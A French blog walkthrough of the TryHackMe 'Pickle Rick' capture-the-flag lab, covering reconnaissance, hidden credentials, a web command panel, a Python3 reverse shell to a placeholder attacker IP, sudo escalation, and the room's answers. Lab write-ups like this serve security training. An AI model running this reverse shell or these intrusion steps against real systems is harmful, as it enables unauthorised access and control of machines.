TryHackMe - Pickle Rick Challenge

Rick is sup4r cool

Aujourd'hui nous nous attaquons à la Room Pickle Rick de TryHackMe !
Cette room est gratuite et accessible à tout le monde. (Accessible ici)
L'objectif est de retrouver la potion composée de 3 ingrédients permettant de rendre la forme humaine à Rick actuellement transformé en cornichon.
Lancer votre Machine victime et s'est parti !

Créeons une variable IP que nous pourrons réutiliser dans notre shell.

export IP = 10.10.8.241

Task 1

Nous allons démarrer la reconnaissance, tout d'abord en identifiant les ports ouverts sur la machine :

nmap -sC -sV 10.10.8.241

Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-29 21:26 CEST
Nmap scan report for 10.10.8.241
Host is up (0.021s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 f1:a0:48:4f:3d:37:3a:32:4e:e0:e3:f0:8b:3e:c3:97 (ECDSA)
|_  256 5a:29:be:67:ae:ca:0b:3e:0a:c3:98:38:4a:bc:25:c6 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Rick is sup4r cool
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.62 seconds

Donc seulement 2 ports ouverts :

  1. le port 80 pour le site web qui utilise Apache/2.4.18 (ubuntu)
  2. le port 22 pour l'accès SSH (qui utilise OpenSSH 7.2p2 sur Ubuntu avec protocol 2.0)

Task 2

lançons nikto voir s'il peut nous apporter des informations complémentaires...

nikto -h http://$IP | tee nikto.log

- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          10.10.8.241
+ Target Hostname:    10.10.8.241
+ Target Port:        80
+ Start Time:         2021-03-29 21:47:01 (GMT2)
---------------------------------------------------------------------------
+ Server: Apache/2.4.18 (Ubuntu)
+ Server leaks inodes via ETags, header found with file /, fields: 0x426 0x5818ccf125686 
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Cookie PHPSESSID created without the httponly flag
+ Allowed HTTP Methods: OPTIONS, GET, HEAD, POST 
+ OSVDB-3233: /icons/README: Apache default file found.
+ /login.php: Admin login page/section found.
+ 7517 requests: 0 error(s) and 8 item(s) reported on remote host
+ End Time:           2021-03-29 21:50:03 (GMT2) (182 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Nous identifions quelques points faibles  mais surtout nous trouvons une page login.php cachée

Task 3

Lançons gobuster pour rechercher d'autres fichiers / pages ou dossiers qui seraient cachés.

gobuster dir -u http://$IP -w /Users/julienlange/Desktop/pentest/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt -x php,txt,cgi,sh

===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.8.241
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /Users/julienlange/Desktop/pentest/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              php,txt,cgi,sh
[+] Timeout:                 10s
===============================================================
2021/03/29 22:18:32 Starting gobuster in directory enumeration mode
===============================================================
/login.php            (Status: 200) [Size: 882]
/assets               (Status: 301) [Size: 311] [--> http://10.10.218.3/assets/]
/portal.php           (Status: 302) [Size: 0] [--> /login.php]                  
/robots.txt           (Status: 200) [Size: 17]                                  

Intéressant!
On retrouve :

  • la page de login (login.php)
  • une page "portal.php" qui semble rediriger actuellement vers login.php --> cette page doit probablement être une page accessible uniquement lorsque on est loggé.
  • et un fichier robots.txt

Task 5

Examinons le fichier robots.txt :
il contient la chaine suivante :

Wubbalubbadubdub

Task 6

Rendons-nous sur la page d'accueil http://10.10.8.241 et analysons le code source (view-source:http://10.10.8.241/):

On y découvre l'information suivante :

<!--

    Note to self, remember username!

    Username: R1ckRul3s

  -->

En regardant les scripts importés, on découvre aussi un repertoire /assets.
Lorsque l'on se dirige sur http://10.10.8.241/assets on retrouve :

Task 7

Rendons-nous sur la page login.php que nous avons découvert tout à l'heure.

  1. Tentons de saisir le username trouvé et un mot de passe bidon on obtient une erreur.
  2. Voyons si une injection SQL est possible en mettant simplement  un apostrophe ' en username.
    Encore un message d'erreur
  3. tentons R1ckRul3s' OR 1=1--
    sans succès
  4. Je tente un bruteforce avec dictionnaire et subtitution de chaine avec Burp Suite
    Sans succes
  5. Rappelez vous nous avions trouvé une chaîne de caractères étrange dans le fichier robots.txt
    Tentons la chaine Wubbalubbadubdub en tant que mot de passe et toujours R1ckRul3s en username .
  6. BINGO ! on a accès à la pageportal.php
  7. Regardons le code source et examinons chaque lien.
    --> tous nous dirige vers denied.php
    On découvre le message : Only the REAL rick can view this page.
  8. Retournons sur le lien commands, et tentons de taper la commande ls

Ouah !!! nous obtenons la structure racine du site :

Sup3rS3cretPickl3Ingred.txt
assetsclue.txt
denied.php
index.html
login.php
portal.php
robots.txt

Nous découvrons 2 nouveaux fichiers :

  1. regardons le 1er :
    en tentant d'executer la commande cat Sup3rS3cretPickl3Ingred.txt, nous avons un message nous indiquant que ce n'est pas possible.
  2. rendez-vous directement sur http://$IP/Sup3rS3cretPickl3Ingred.txt
    on peut lire le texte suivant :
    mr. meeseek hair
    ==> cela ressemble à notre réponse à la premiere question !
  3. faisons de même avec le fichier clue.txt en se rendant sur http://$IP/clue.txt :
    Look around the file system for the other ingredient.

Ok on va devoir se "balader" dans le file system pour trouver d'autres ingrédients

Task 8

A présent regardons le code source de la page portal.php. (cmd + opt +I)

<!DOCTYPE html>
<html lang="en">
<head>
  <title>Rick is sup4r cool</title>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <link rel="stylesheet" href="assets/bootstrap.min.css">
  <script src="assets/jquery.min.js"></script>
  <script src="assets/bootstrap.min.js"></script>
</head>
<body>
  <nav class="navbar navbar-inverse">
    <div class="container">
      <div class="navbar-header">
        <a class="navbar-brand" href="#">Rick Portal</a>
      </div>
      <ul class="nav navbar-nav">
        <li class="active"><a href="#">Commands</a></li>
        <li><a href="/denied.php">Potions</a></li>
        <li><a href="/denied.php">Creatures</a></li>
        <li><a href="/denied.php">Potions</a></li>
        <li><a href="/denied.php">Beth Clone Notes</a></li>
      </ul>
    </div>
  </nav>

  <div class="container">
    <form name="input" action="" method="post">
      <h3>Command Panel</h3></br>
      <input type="text" class="form-control" name="command" placeholder="Commands"/></br>
      <input type="submit" value="Execute" class="btn btn-success" name="sub"/>
    </form>
        <!-- Vm1wR1UxTnRWa2RUV0d4VFlrZFNjRlV3V2t0alJsWnlWbXQwVkUxV1duaFZNakExVkcxS1NHVkliRmhoTVhCb1ZsWmFWMVpWTVVWaGVqQT0== -->
  </div>
</body>
</html>


on y trouve tout en bas une chaine de caractère en commentaire qui ressemble étrangement à une chaîne encodé en Base64 :
Vm1wR1UxTnRWa2RUV0d4VFlrZFNjRlV3V2t0alJsWnlWbXQwVkUxV1duaFZNakExVkcxS1NHVkliRmhoTVhCb1ZsWmFWMVpWTVVWaGVqQT0==

Utilisons le decoder dans Burpsuite (ou la commande base64 à votre convenance) au bout de 6 décodages on obtient la chaîne en clair :
rabbit hole

Autrement dit cette trouvaille est inutile 😃
Décodage de la chaîne dans Burp Suite Professional

On peut également procéder avec la commande base64 :

~ % echo Vm1wR1UxTnRWa2RUV0d4VFlrZFNjRlV3V2t0alJsWnlWbXQwVkUxV1duaFZNakExVkcxS1NHVkliRmhoTVhCb1ZsWmFWMVpWTVVWaGVqQT0== | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d 
rabbit hole  
même chose mais en ligne de commande (base64)

Task 9

Poursuivons notre jeu en regardant quels sont les users dans le repertoire home :
ls /home
on découvre :
rick
ubuntu

regardons de plus prêt :
ls /home/rick

on y découvre un fichier 'second ingredients'
essayons de le lire :
cat /home/rick/second\ ingredients ne fonctionne pas !
tentons nl /home/rick/second\ ingredients
parfait, nous avons notre second ingredient :
1 1 jerry

ceci est notre 2ème ingrédients !

Task 10

voyons si l'on peut trouver des clés nous permettant de nous logger en ssh :
ls /etc/ssh

nous obtenons :

modulissh_config
ssh_host_dsa_key
ssh_host_dsa_key.pub
ssh_host_ecdsa_key
ssh_host_ecdsa_key.pub
ssh_host_ed25519_key
ssh_host_ed25519_key.pub
ssh_host_rsa_key
ssh_host_rsa_key.pub
ssh_import_id
sshd_config

Pour lire le contenu vous pouvez utiliser :  nl ou grep . [fichier] (la 1ère commande à l'avantage / inconvénient d'ajouter le numéro de ligne)
Avant d'aller plus loin et compte tenu que nous sommes en mesure d'envoyer des commandes system, essayons de voir si python est installé sur la machine :
python -c "print('hello')"
Malheureusement pas de résultat :

Ne nous avouons pas vaincu et tentons la même chose mais avec Python3

python3 -c "print('hello')"

Python3 fonctionne !

--> Python3 fonctionne sur la machine !!!

Essayons un reverse shell python !
  1. d'abord récupérons notre adresse IP (celle de l'attaquant) :
    ifconfig et récupérer l'ip utun0 (ou autre si vous avez plusieurs tunnel openvpn)
  2. puis mettons notre machine d'attaque en écoute :
    nc -lvn 12345
  3. Sur la page portal.php entrez la commande suivante :
    python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP-ATTAQUANT",12345));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);  os.dup2(s.fileno(),2);os.system("/bin/sh -i")'

Après avoir exécuter la commande nous avons désormais accès à la machine en reverse shell.

Parcourons le file system :
cd / && ls

bin
boot
dev
etc
home
initrd.img
lib
lib64
lost+found
media
mnt
opt
proc
*root*
run
sbin
snap
srv
sys
tmp
usr
var
vmlinuz
résultat de la commande

Le dossier root est visible

Tentons d'y accéder :

cd /root && ls
/bin/sh: 7: cd: can't cd to /root
c

Nous n'avons pas l'autorisation, tentons une escalation de privilège !

sudo bash
cd /root
ls
3rd.txt
snap

Et bien voilà, il ne reste plus qu'à lire le contenu des fichier :

grep . /root/3rd.txt
ce qui nous donne :
3rd ingredients: fleeb juice

Nous avons notre 3ème ingrédient !!:

Il ne reste désormais plus qu'à répondre aux questions posées.

J'espère que vous aurez aimé ce challenge ! il est classé niveau facile sur TryHackMe, si vous êtes intéréssé par ce type de contenu, abonnez vous gratuitement à la newsletter !
A bientôt
J.L

Réponse aux Questions

What is the first ingredient Rick needs?
mr. meeseek hair

Whats the second ingredient Rick needs?
1 jerry tear

Whats the final ingredient Rick needs?
fleeb juice

Author image
A propos de Julien Lange
FR
Vous vous êtes abonné avec succès à Les kifs de juju
Génial! A présent, completer votre commande pour accéder à Les kifs de juju
Heureux de vous revoir! Vous vous êtes connecté avec succès.
Impossible de se connecter. Veuillez réessayer.
Bravo! Votre compte est activé, vous avez désormais accès à tout notre contenu ainsi qu'aux mise sà jour.
Erreur ! Le paiement Stripe (notre partenaire) a échoué.
Parfait! Vos informations de facturation sont mises à jour.
Erreur ! La mise à jour de vos informations de facturation ont échoués.